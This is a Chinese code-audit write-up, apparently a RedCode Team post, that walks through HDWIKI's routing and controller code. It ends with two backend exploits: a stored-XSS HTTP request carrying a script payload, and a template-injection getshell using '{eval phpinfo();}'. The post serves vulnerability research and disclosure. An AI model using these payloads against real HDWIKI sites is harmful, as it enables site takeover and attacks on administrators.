审计|通读审计之HDWIKI(附原创漏洞)上篇

admin 2021年11月1日03:40:50代码审计评论41 views5443字阅读18分8秒阅读模式


本篇文章由团队成员提供:HeiHu577

本文章已在FreeBuf发表



目录

审计|通读审计之HDWIKI(附原创漏洞)上篇

下篇明日更新 主要是太长了

所以为了良好的阅读体验,明日更新下篇~

审计|通读审计之HDWIKI(附原创漏洞)上篇


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

RedCode Team 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



0x00 前言

hdwiki这套系统分为两部分通读,它的代码逻辑非常有趣。一部分为程序路由,另一部分为控制器的初始化,为了代码思路清晰,笔者会在通读完这两部分后再挖掘漏洞。

下载地址:https://www.jb51.net/codes/11840.html

0x01 路由结构了解

我们老样子,整个故事从index.php开始说起。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到13行包含了./model/hdwiki.class.php文件,我们跟进,看一下是怎么玩的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

因为之前将常量统统提取,看到define关键字直接跳过。

在./model/hdwiki.class.php的第8行和第9行分别包含了/lib/string.class.php与/model/base.class.php文件,我们打开简单的看一下是怎么玩的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到string.class.php文件只是包含了一个string类,这里我们将这个文件留下。

base.class.php文件的逻辑就比较乱了,一堆require引用,这里我们依次打开看一下。

审计|通读审计之HDWIKI(附原创漏洞)上篇

虽然包含的内容比较多,但都是类与方法,这里我们可以先将它们放到这里,等程序需要使用的时候我们再回来看。另外这里需要注意一下base.class.php文件的第13行是定义了一个base类的。

我们回到hdwiki.class.php文件,继续往下看看。

审计|通读审计之HDWIKI(附原创漏洞)上篇

包含/model/base.class.php文件后定义了一个hdwiki类就没有下文了,那么我们回到Index.php文件看一下代码的后续操作是什么。

审计|通读审计之HDWIKI(附原创漏洞)上篇

$hdwiki = new hdwiki();

$hdwiki->run();

这两句代码则为index.php的最后两句话,那么我们开始分析hdwiki这个类。

审计|通读审计之HDWIKI(附原创漏洞)上篇

PHP在new一个类时,会自动调用构造方法,那么一个类的构造方法有两种,1:__construct魔术方法 2:方法名就是类名

这里我们会进入到hdwiki方法中,看到18行调用了init_request方法,我们看一下init_request方法是怎么运转的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

在23-26行中,用来判断/data/install.lock是否存在,不存在则进行跳转,第25行中的exit可知,这里并不存在系统重装漏洞。

在28-36行中,我们可以看到,都是对$querystring进行一些操作。这里我们需要注意自己的逻辑不要出错。

我们在37行中看到,$this->get接收到的是$_SERVER[QUERY_STRING]的值,而不是$_GET的值。并且将它以“-”进行分隔。

38-40行的定义我们注意“substr($querystring, 0, 6) == 'admin_'”条件,从代码样子上来看应该是对后台模块的特殊处理。这里我们先放下不管他。

49-51行等同于没写,因为如果不存在$this->get[0]以及不存在$this->get[1]程序在42-48行中会强制给他们赋值。

53-55行终于调用了string类的haddslashes方法,我们看一下这个方法到底做了一些什么操作。

审计|通读审计之HDWIKI(附原创漏洞)上篇

将 $this->get($_SERVER[QUERY_STRING])、$this->post($_POST)、$_COOKIE都做了addslashes函数处理。这就意味着我们从外界输入危险数据会被转义。但没有 过滤 $_SESSION, $_REQUEST, $_SERVER,我们可能在代码审计中利用到它们,先记录一下。

在/model/hdwiki.class.php文件的57行,调用了$this->checksecurity()方法,我们看一下逻辑是怎么样的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到是黑名单过滤。如果匹配到关键字则进入到notfound方法,我们看一下notfound方法是怎么处理这些危险数据的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

我去,直接die掉程序。那么$this->get的过滤就非常严格。我们回到57行继续往下通读。

审计|通读审计之HDWIKI(附原创漏洞)上篇

59-63行只是简单的unset变量操作。

这里我们回到hdwiki这个构造方法中,看一下load_control方法。

审计|通读审计之HDWIKI(附原创漏洞)上篇

我们重点去看80-83行的代码逻辑,因为该分支属于正常的控制器分支。$controlfile的值为 ./control/可控值.php文件,在第81行可以看到包含文件操作。我们这里看一下正常的控制器的逻辑是什么样的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到程序的控制器的类名都定义为control,OK,我们回过头来继续通读,只是看一眼控制器而已。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到包含之后就没有什么其他操作了。因为在index.php文件中的最后一行中有调用该类的run方法,我们读一下run方法看看是怎么玩的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

run方法的逻辑没有想象当中的那么复杂,其实第88行也就是看一下控制器的原因,该系统将所有控制器的名称都定位为control,所以才有new control这一行的操作。

$exemption后面有注释,是免检方法的标志(免检方法:不会查看当前用户是否有访问权限,都会无任何限制的去调用)。

在94-97行中,如果方法名称为hd,则不会进入到该分支,在107行中的if判断中即可知道,如果方法名称为hd,则不管当前用户权限如何,都会去调用hd方法。所以这里hd就是免检方法。

某个控制器的其他方法,则是根据代码逻辑来判断是否有权限访问限制,如果权限不够,那么禁止调用,如果权限够大,那么可以调用。

我们这里可以在./control/目录下定义heihu_577.php文件,内容为:

<?php

class control extends base{

public function hd(){

echo 'helloworld';

}

}

调用结果:

审计|通读审计之HDWIKI(附原创漏洞)上篇

0x02 控制器结构了解

本次通读分为两次通读的原因,是基础控制器也有它自己本身的逻辑。

我们废话不多说,直接看一下普通的控制器。

审计|通读审计之HDWIKI(附原创漏洞)上篇

我们可以看到class control extends base,继承了base类,这个类在我们之前了解框架结构时,有包含到base.class.php文件,我们看一下该文件是怎么玩的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到base类,定义了同名构造方法(function base)。我们看一下这个方法做了一些什么操作。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到基础控制器居然做出了这么多操作,没关系,我们去慢慢啃它。

首先35行调用了util类的getip方法,从名字上看好像是用来获取ip的,我们跟进看一下。

审计|通读审计之HDWIKI(附原创漏洞)上篇

使用client-ip头虽然可以进行伪造ip,但是后面又preg_match正则校验,所以这里不存在IP伪造漏洞。

我们下面来看一下base.class.php文件的第38行。

审计|通读审计之HDWIKI(附原创漏洞)上篇

$this->db实例化了一个hddb类,我们跟进这个类,看看是怎么玩的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

是处理SQL语句的类,我们回到base.class.php继续通读。

审计|通读审计之HDWIKI(附原创漏洞)上篇

调用了init_cache,我们看一下它的处理结构。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到106行实例化了cache类,而后续代码多次调用cache下的load方法,我们很有必要看一下cache::load方法到底做了一些什么操作。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到程序首先去拿到cache文件,如果文件不存在,那么就去数据库进行调用。

Cache文件的存放位置:/data/cache/缓存文件.php

在56行出现了未经过任何过滤带入数据库的操作,条件是$cachename可控,但是很遗憾,笔者没有找到可控的$cachename调用处。

我们回过头来继续通读。

审计|通读审计之HDWIKI(附原创漏洞)上篇

包含setting、advertisement......

审计|通读审计之HDWIKI(附原创漏洞)上篇

都是一些数组信息,我们需要知道的是,这些数组是从数据库中提取出来的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

我们可以看到将这些配置信息都放入了成员变量中。

我们最好不要对一个缓存来较劲,回过头来继续通读。

审计|通读审计之HDWIKI(附原创漏洞)上篇

我们看一下init_user方法。

审计|通读审计之HDWIKI(附原创漏洞)上篇

这里调用了hgetcookie方法,我们看一下hgetcookie方法是用来做什么的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

只是用来得到cookie信息。

回到init_user方法中我们继续分析。

审计|通读审计之HDWIKI(附原创漏洞)上篇

这里又调用了authcode方法,我们看一下该方法是怎么玩的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

类似于DZ论坛的加密方式,我们从这里可以知道,该程序是有authkey的。

我们回头继续看一下代码逻辑。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到$uid是未经过任何处理,直接带入到数据库当中的。这里我们如果通过一些方式拿到authkey,那么这个点可以做权限维持。当然,authkey是存放在数据库当中的。如图:

审计|通读审计之HDWIKI(附原创漏洞)上篇

但是遗憾在笔者并没有找到破解authkey的方法(前台注入另说)。

我们回过头来继续通读。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到包含/model/doc.class.php并实例化,在271行调用了doc对象的get_unpubdoc方法。我们跟进。

审计|通读审计之HDWIKI(附原创漏洞)上篇

涉及到网站业务逻辑的词条操作,使用SELECT进行查询。

我们回过头来继续审计。

审计|通读审计之HDWIKI(附原创漏洞)上篇

这里init_template方法是用来定义$this->view是template(View)类的实例化,template类我们限制先放到这里不说,到后面我们审计到模板注入时再拿过来细说。

回过头来继续审计。

审计|通读审计之HDWIKI(附原创漏洞)上篇

init_global方法主要调用网站内的业务信息。这里主要关注在261-262行身上。

我们跟进writeLog方法,看一下该方法是如何定义的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

可以看到登录后台的一系列操作都会被写入到日志当中,笔者这里日志被写入到了data/logs/202012_adminaccess.php文件中,如图:

审计|通读审计之HDWIKI(附原创漏洞)上篇

我们回过头来继续通读。

审计|通读审计之HDWIKI(附原创漏洞)上篇

init_mail方法检测/data/mail.exists文件是否存在,如果存在则可以发送邮件等操作。

审计|通读审计之HDWIKI(附原创漏洞)上篇

init_admin是来判断当前的登陆状态,如果非管理员则跳转到管理员登录界面。

控制器结构了解完毕后我们开始挖掘漏洞。

0x03 后台存储型XSS漏洞

存储型XSS漏洞无非就是入库前可插入/修改成未被过滤的Js代码,在前端中显示出来。

在/control/admin_focus.php的doedit方法中。

审计|通读审计之HDWIKI(附原创漏洞)上篇

$summary与$image被string::hiconv函数进行处理,我们看一下该函数的定义。

审计|通读审计之HDWIKI(附原创漏洞)上篇

只要我们不被正则检测到即可直接return回来。

我们再看一下save_focus_content方法。

审计|通读审计之HDWIKI(附原创漏洞)上篇

这里是插入js数据点。

模板文件:/data/view/admin_focus.tpl.php 将 image字段直接输出出来。

如图:

审计|通读审计之HDWIKI(附原创漏洞)上篇

构造HTTP包:

POST /index.php?admin_focus-edit HTTP/1.1

Host: hdwiki.com

Content-Length: 106

Accept: */*

Origin: http://hdwiki.com

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://hdwiki.com/index.php?admin_focus-edit-58

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk; hd_auth=993bRToK8dVihewqdijd2tsF5fc%2Bcc%2BW8%2FRFsM2MTMtfM%2FJflKkLfGvB2FkvbPl7JhocdUIHk%2B%2F7YqGs5Y9w; hd_querystring=admin_focus-edit-58

Connection: close


did=58&summary=12&image="><script>alert(1)</script>&displayorder=0&editsubmit=true&doctype=3

发送后访问http://xxx.com/index.php?admin_focus-focuslist进行回显

如图:

审计|通读审计之HDWIKI(附原创漏洞)上篇

0x04 后台模板注入GetShell

这里我们回过头来看一下/lib/template.class.php文件的display方法。

审计|通读审计之HDWIKI(附原创漏洞)上篇

这里直接调用到preg_replace的/e修饰符,preg_replace的第二个参数调用了stripvtag方法,我们看一下这个方法是怎么玩的。

审计|通读审计之HDWIKI(附原创漏洞)上篇

这里只是进行了替换,并不影响我们getshell。

在后台有模板编辑功能,如图:

审计|通读审计之HDWIKI(附原创漏洞)上篇

编辑插入代码:{eval phpinfo();}

审计|通读审计之HDWIKI(附原创漏洞)上篇

结果:

审计|通读审计之HDWIKI(附原创漏洞)上篇


RedCode Team微信公众号

主攻WEB安全|代码审计

分享团队研究的小技巧。

全程高能干货,欢迎关注。

原文始发于微信公众号(RedCode Team):审计|通读审计之HDWIKI(附原创漏洞)上篇

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月1日03:40:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  审计|通读审计之HDWIKI(附原创漏洞)上篇 http://cn-sec.com/archives/606908.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: